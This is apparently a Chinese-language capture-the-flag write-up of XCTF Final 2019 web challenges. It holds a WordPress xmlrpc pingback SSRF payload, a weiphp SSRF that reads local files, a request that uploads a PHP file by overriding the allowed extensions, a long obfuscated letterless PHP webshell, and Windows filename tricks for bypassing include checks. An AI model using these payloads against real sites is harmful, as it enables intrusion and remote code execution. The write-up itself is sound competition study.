XCTF Final 2019 Web Write Up

  1. 1. Web
    1. 1.1. babyblog
    2. 1.2. babypress
    3. 1.3. weiphp
      1. 1.3.1. SSRF
      2. 1.3.2. upload
    4. 1.4. lfi2019
      1. 1.4.1. Trick 1
      2. 1.4.2. Trick 2
    5. 1.5. noxss
    6. 1.6. tfboys
  2. 2. Conclusion

我们 SU 这次一共做出了3个 Web ,由于今年 XCTF Final 的时间不是特别好,我们队其他师傅有考试的考试,基本就现场的两个 Web 手在做,最后 LFI2019 比较可惜,如果多个几 min 我们就可以出了,实在可惜。下面就写写本次的 Web Write Up。

[TOC]

Web

babyblog

界面跟 Byte CTF 的 babyblog 一致,有些功能还保留着,很有误导性…以为是个升级版,前者是一道二次注入后用 php 正则/e特性来执行命令的,所以我们一开始也就一直在日注入了…

后来我发现/user个人界面有 ip 记录,于是尝试 XFF 注入无果,但是可以把 XFF 直接回显到页面上。发现/server_status,发现有大家的访问记录。陷入思考ing…

队友突然看到有一个访问记录/user/1.css(类似的这么一个路由,不太想得起来了),马上想到可能是缓存投毒,联想跟上文说的 XFF 的设置,想到可以缓存投毒将反射 xss 变成缓存 xss ,这样就可以打到 admin 了。

babypress

这题比较狗血…前一天给了两个 hint :

1
2
3
first hint for babypress: ssrf n-day exploit on the internet will not work

second hint: if you can exploit in your local, it should be possible to exploit in remote.

随便搜一下我们大概可以知道 ssrf n-day 是通过 xmlrpc.php 这个文件来打内网的,然后当晚我们通过xmlrpc.php成功进行了 SSRF ,当看到了这两个 hint …我们就感觉不妙,应该打的不是我们这个, but 我们确实打成功了呀…于是我们当晚又加了一会班,当时最新版本是 5.2.4 ,于是我们找到 5.2.4 的 security issue,然后找到了更新补丁,但是感觉绕不过…以为是个新的绕过方式啥的…

好了,结果到了第二天一开始没人打成功…后来,到了差不多中午主办方又发公告更换环境,当时我们都在看另一个题,也就没管,结果一会有两个队出了…然后我们试了一下昨晚我们打xmlrpc.php的,就成了…

1
2
3
4
5
6
7
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

主要就是要发一个评论以及更改一下第二个参数为他的 host 才行…这题也没啥好说的…感觉全场唯一的槽点(Web)就是这个了。

weiphp

一个叫 weiphp 的 CMS 审计,这个主要是队友看的,我当时做另外一道题去了。我们出的是一个 ssrf 的地方,赛后问了出的师傅,是审了上传的地方。

SSRF

我们全局搜curl,可以在 Base.php 中发现有以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function post_data($url, $param, $type = 'json', $return_array = true, $useCert = [])
{
$res = post_data($url, $param, $type, $return_array, $useCert);

// 各种常见错误判断
if (isset($res['curl_erron'])) {
$this->error($res['curl_erron'] . ': ' . $res['curl_error']);
}
if ($return_array) {
if (isset($res['errcode']) && $res['errcode'] != 0) {
$this->error(error_msg($res));
} elseif (isset($res['return_code']) && $res['return_code'] == 'FAIL' && isset($res['return_msg'])) {
$this->error($res['return_msg']);
} elseif (isset($res['result_code']) && $res['result_code'] == 'FAIL' && isset($res['err_code']) && isset($res['err_code_des'])) {
$this->error($res['err_code'] . ': ' . $res['err_code_des']);
}
}
return $res;
}

跟进第三行的post_data,我们可以在 common.php 中找到该函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
function post_data($url, $param = [], $type = 'json', $return_array = true, $useCert = [])
{
$has_json = false;
if ($type == 'json' && is_array($param)) {
$has_json = true;
$param = json_encode($param, JSON_UNESCAPED_UNICODE);
} elseif ($type == 'xml' && is_array($param)) {
$param = ToXml($param);
}
add_debug_log($url, 'post_data');

// 初始化curl
$ch = curl_init();
if ($type != 'file') {
add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}

// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
if (isset($useCert['certPath']) && isset($useCert['keyPath'])) {
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLCERT, $useCert['certPath']);
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLKEY, $useCert['keyPath']);
}

$res = curl_exec($ch);
if ($type != 'file') {
add_debug_log($res, 'post_data');
}
// echo $res;die;
$flat = curl_errno($ch);

$msg = '';
if ($flat) {
$msg = curl_error($ch);
}
// add_request_log($url, $param, $res, $flat, $msg);
if ($flat) {
return [
'curl_erron' => $flat,
'curl_error' => $msg
];
} else {
if ($return_array && !empty($res)) {
$res = $type == 'json' ? json_decode($res, true) : FromXml($res);
}

return $res;
}
}

可以看到 common.php 中的没有什么过滤,所以我们只需要找引用 Base.php 当中的post_data函数的地方就行了。我们随便登录一下就可以发现其路由规则了,比如登录路由是index.php/home/user/login,对应的是application/home/controller/User.php当中的login()方法,而 Base.php 跟其他 controller 有以下继承关系:

1
home/controller/User.php -> home/controller/Home.php -> common/controller/WebBase.php -> common/controller/Base.php

所以post_data为 public 方法也可以直接调用,所以根据post_data方法的参数,我们需要传入几个参数,url为 SSRF 的点,param随笔即可。

这里由于 cms 开启了 debug ,这里要把type参数设为file,让post_data函数在调用FromXml函数的时候,由于我们传入诸如url=file:///etc/passwd的参数,会导致simple_xml_load_string出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 将xml转为array
*/
function FromXml($xml)
{
if (!$xml) {
exception("xml数据异常!");
}
file_log($xml, 'FromXml');

// 解决部分json数据误入的问题
$arr = json_decode($xml, true);
if (is_array($arr) && !empty($arr)) {
return $arr;
}
// 将XML转为array
$arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true);
return $arr;
}

可以看到在图中已经拿到了文件内容回显,所以当时我们就用这个 SSRF 拿到了 flag

upload

application/home/controller/File.php我们可以看到有这么一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 文件上传 到根目录 */
public function upload_root() {
$return = array(
'status' => 1,
'info' => '上传成功',
'data' => ''
);
/* 调用文件上传组件上传文件 */
$File = D('home/File');
$file_driver = strtolower(config('picture_upload_driver'));
$setting = array (
'rootPath' => './' ,
);
$info = $File->upload($setting, config('picture_upload_driver'), config("upload_{$file_driver}_config"));
// $info = $File->upload(config('download_upload'), config('picture_upload_driver'), config("upload_{$file_driver}_config"));
/* 记录附件信息 */
if ($info) {
$return['status'] = 1;
$return = array_merge($info['download'], $return);
} else {
$return['status'] = 0;
$return['info'] = $File->getError();
}
/* 返回JSON数据 */
return json_encode($return);

}

其中是调用了application/home/model/File.php中的一个upload函数

1
2
3
4
5
6
public function upload($setting = [], $driver = 'Local', $config = null, $isTest = false)
{
true...
$info = upload_files($setting, $driver, $config, 'download', $isTest);
...
}

这个函数又调用了application/common.php当中的upload_files函数,然后我们可以发现又这么一段神奇的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ($type == 'picture') {
//图片扩展名验证 ,图片大小不超过20M
$checkRule['ext'] = 'gif,jpg,jpeg,png,bmp';
$checkRule['size'] = 20971520;
} else {
$allowExt = input('allow_file_ext', '');
if ($allowExt != '') {
$checkRule['ext'] = $allowExt;
}
$allowSize = input('allow_file_maxsize', '');
if ($allowSize > 0) {
$checkRule['size'] = $allowSize;
}
}

这里input('allow_file_ext', '');表示我们可以设置允许上传的类型…然后我们随便上传一个试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /weiphp/public/index.php/home/file/upload_root HTTP/1.1
Host: zedd.vv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------6593480186465200061941970669
Content-Length: 480
Origin: http://zedd.vv
Connection: close
Referer: http://zedd.vv/upload.html
Cookie: PHPSESSID=0cfb281c78e25924ebb7c8abe9084590
Upgrade-Insecure-Requests: 1

-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="name"; filename="1.phtml"
Content-Type: text/php

<?php
phpinfo();?>
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_ext"

phtml
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_maxsize"

1024
-----------------------------6593480186465200061941970669--

虽然报错了但是我们依然上传成功了,直接访问那个路径即可。

lfi2019

在 header 头有一个提示可以拿到源码

1
X-Hint: /index.php?show-me-the-hint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
<?php

/*
Developed by stypr.
Made in 2018, Releasing in 2019!
*/

// Baka flag-sama and seed-chan! //
error_reporting(0);
ini_set("display_errors","off");
@require('flag.php');
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

if($flag === $_GET['trigger']){
die(hash("sha256", $seed . $flag));
}

// Sessions are never used but we add that //
ini_set('session.cookie_httponly', 1); @phpinfo();
ini_set('session.cookie_secure', 1); @phpinfo();
ini_set('session.use_only_cookies',1); @phpinfo();
ini_set('session.gc_probability', 1); @phpinfo();
// but really, you can't really do something with sessions. //
session_save_path('./sess/');
session_name("lfi2019");
session_start();
session_destroy();

// Flush directory for security purposes //
// Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
function rrmdir($dir, $depth=0){
if (is_dir($dir)){
$objects = scandir($dir);
foreach ($objects as $object){
if ($object != "." && $object != ".."){
if(is_dir($dir."/".$object))
rrmdir($dir."/".$object, $depth + 1);
else
unlink($dir."/".$object);
}
}
}
if($depth != 0) rmdir($dir);
}
function countdir($dir){
if (is_dir($dir)){
$objects = scandir($dir);
foreach ($objects as $object){
if ($object != "." && $object != ".."){
$count += 1;
if(is_dir($dir."/".$object))
$count += countdir($dir."/".$object);
}
}
}
return $count;
}
var_dump(countdir("./files"));
if(countdir("./files/") >= 100) @rrmdir("./files/");

// Here, kawaii path-san for you! //
function path_sanitizer($dir, $harden=false){
$dir = (string)$dir;
$dir_len = strlen($dir);
// Deny LFI/RFI/XSS //
$filter = ['.', './', '~', '.\\', '#', '<', '>'];
foreach($filter as $f){
if(stripos($dir, $f) !== false){
return false;
}
}
// Deny SSRF and all possible weird bypasses //
$stream = stream_get_wrappers();
$stream = array_merge($stream, stream_get_transports());
$stream = array_merge($stream, stream_get_filters());
foreach($stream as $f){
$f_len = strlen($f);
if(substr($dir, 0, $f_len) === $f){
return false;
}
}
// Deny length //
if($dir_len >= 128){
return false;
}
truetrue// Easy level hardening //
truetrueif($harden){
truetruetrue$harden_filter = ["/", "\\"];
truetruetrueforeach($harden_filter as $f){
truetruetruetrue$dir = str_replace($f, "", $dir);
truetruetrue}
truetrue}

// Sanitize feature is available starting from the medium level //
return $dir;
}

// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>[email protected]#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}

// Errors are intended and straightforward. Please do not ask questions. //
class Get {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && [email protected]@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
function __construct($filename){
$this->filename = path_sanitizer($filename);
}
function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if([email protected]_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}

// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}
}
class Put {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && [email protected]@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
private $content;
private $dir = "./files/";
function __construct($filename, $data){
global $seed;
if((string)$filename === (string)@path_sanitizer($data['filename'])){
$this->filename = (string)$filename;
}else{
$this->filename = false;
}
$this->content = (string)@code_sanitizer($data['content']);
}
function put(){
// just another typical file insertion //
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// check if file exists //
if(file_exists($this->dir . $this->filename)){
return ["msg" => "file exists", "type" => "error"];
}
file_put_contents($this->dir . $this->filename, $this->content);
// just check if file is written. hopefully. //
if(@file_get_contents($this->dir . $this->filename) == ""){
return ["msg" => "file not written.", "type" => "error"];
}
return ["type" => "success"];
}
}

// Triggering this is nearly impossible //
class System {
function __destruct(){
global $seed;
// ain't Argon2, ain't pbkdf2. what could go wrong?
$flag = hash('sha256', $seed);
if($_GET[$flag]){
@system($_GET[$flag]);
}else{
@unserialize($_SESSION[$flag]);
}
}
}

// Don't call me a savage... I gave everything you need //
if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
show_source(__FILE__);
exit;
}

// XSS protection and hints ^-^ //
header('X-Hint: /index.php?show-me-the-hint');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

//header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
//"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

// Hello, JSON! //
$parsed_url = explode("&", $_SERVER['QUERY_STRING']);
if(count($parsed_url) >= 2){
header("Content-Type:text/json");
switch($parsed_url[0]){
case "get":
$get = new Get($parsed_url[1]);
$data = $get->get();
break;
case "put":
$put = new Put($parsed_url[1], $_POST);
$data = $put->put();
break;
default:
$data = ["msg" => "Invalid data."];
break;
}
die(json_encode($data));
}
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
<link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
<link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
<title>LFI2019</title>
</head>
<body>
<div class="modal fade" id="put-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">put2019</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="upload-filename" class="col-form-label">Filename:</label>
<input type="text" class="form-control" id="upload-filename">
</div>
<div class="form-group">
<label for="upload-content" class="col-form-label">Content:</label>
<textarea class="form-control disabled" id="upload-content" rows=10></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="upload-submit">put();</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="get-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">get2019</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="include-filename" class="col-form-label">Filename:</label>
<input type="text" class="form-control" id="include-filename">
</div>
<div class="form-group">
<textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="include-submit">include();</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="info-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
</div>
<div class="modal-body">
<p>
Hi there! We introduce LFI2019 with another technique that never came out on CTFs.
We want to end tedious LFI challenges starting from this year.
Traps are everywhere, so be warned. Good Luck!
</p>
<p>
.. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<ul class="text hidden">
<li>L</li>
<li class="ghost">e</li>
<li class="ghost">g</li>
<li class="ghost">i</li>
<li class="ghost">t</li>
<li class="spaced">F</li>
<li class="ghost">i</li>
<li class="ghost">l</li>
<li class="ghost">e</li>
<li class="spaced">I</li>
<li class="ghost">n</li>
<li class="ghost">c</li>
<li class="ghost">l</li>
<li class="ghost">u</li>
<li class="ghost">s</li>
<li class="ghost">i</li>
<li class="ghost">o</li>
<li class="ghost">n</li>
<li class="spaced">2019</li>
<br>
truetrue<br>
<div class="hide" id="kawaii">
<center>
<button class="btn col-4 btn-success half" id="get">include</button>
<button class="btn col-4 btn-warning" id="put">upload</button>
<button class="btn col-3 btn-info" id="info">info</button>
<p class="lightgrey">
Reference ID: <b class="ref"><?php echo $seed; ?></b>
</p>
Made with &hearts; by stypr.
</center>
</div>
</ul>
<script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
<script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
<script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU -->

不过比较无语的是有很多的垃圾代码…可以看到有个出题人留的后门函数,but 因为code_sanitizer的过滤

1
2
3
4
5
6
// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>[email protected]#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}

这里我们可以使用无字母的 webshell 来进行一个绕过,可以参考一些不包含数字和字母的webshell,这里我就直接放 ROIS 师傅们的无字母 webshell 内容了

1
<?=$_=[]?><?[email protected]"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>

不过他们可能搞错了,这里他们本意想用<?=?>来绕过;限制,但是其实;并没有过滤…

最后一步可以说有了,我们来看看前几步,Put类的__construct有一个path_sanitizer,我们可以看到有一些检查什么的,没有false的情况是不会过滤/的,这里初始化的时候不会过滤/

所以如果我们在写文件的时候,用put&test/test去写test目录test文件,file_put_contents会因为test目录不存在而写不进去。

1
file_put_contents(./test/test): failed to open stream: No such file or directory

那如果我们直接写进一个test文件呢?写是没有问题的,但是我们在用get路由读的时候就会发生问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if([email protected]_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}

// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}

我们仔细看这段代码,由于path_sanitizer传入了true,这里会把传入的文件名当中/过滤为空,然后有一个比较,如果直接拼接得到的路径与拼接上过滤之后得到的路径相等的话,会进一步比较他们的文件内容,如果相等的话就会被 block …而我们要进行 include ,那就需要绕过这两个判断…

什么个意思呢?就是即使文件名相等,内容也不能相等。

但是我们这里要注意path_sanitizer,如果我们传入一个含有/的文件名那就可以利用这个方法绕过文件名的判断,直接进行包含了。

而题目环境我们可以由一开始的 phpinfo 得到是一个 windows 的环境(虽然赛场是没有的,但是也可以通过各种方法判断一下,比如 nmap 啥的…)

所以我们现在主要就是绕读写文件这一块了。

Trick 1

​ 对于Windows的文件读取,有一个小 Trick :使用FindFirstFile这个API的时候,其会把"解释为.

1
2
> shell"php === shell.php		//true
>

所以我们可以利用这个 trick ,来构造文件名为"/test的文件,什么个意思呢?

1
2
3
4
$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在

传入的"/test文件名,由于这个 trick ,会被 Windows 认为是./test,所以在处理这个方式上就产生了差异也就绕过了两个判断

Trick 2

可以参考 windows的一些特性 这篇文章,文章最后告诉我们,可以上传一个文件名为test::$INDEX_ALLOCATION的文件,就相当于创建了一个test的文件夹,详细原理可以看该篇文章。

这样我们就可以先用这个 Trick 创建一个文件夹test,然后用put随意写一个文件test/file,在读取的时候,由于path_sanitizer会把我们的/过滤,就成功绕过了文件名的判断了。绕过了这些就只剩下无字母写 webshell 的问题了。

noxss

单独为这道题开一篇文章来写,真的tql…

tfboys

机器学习的题目,表示不会…地址在 XCTF-2019-tfboys

Conclusion

体验极其好的一次比赛,非常感谢 @r3kapig 师傅们的精心准备,毫不夸张地说,这是本年度体验最好的一场比赛,无论从题目质量或者是从比赛过程的体验,都是非常棒的。希望国内以后更多一些这类的良心比赛!

版权声明:除文章开头有特殊声明的情况外,所有文章在取得作者允许授权转载的情况下,均可在遵从 CC BY 4.0 协议的情况下转载。

XCTF Final NOXSS Write Up Red Hat 2019 Web Write Up

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×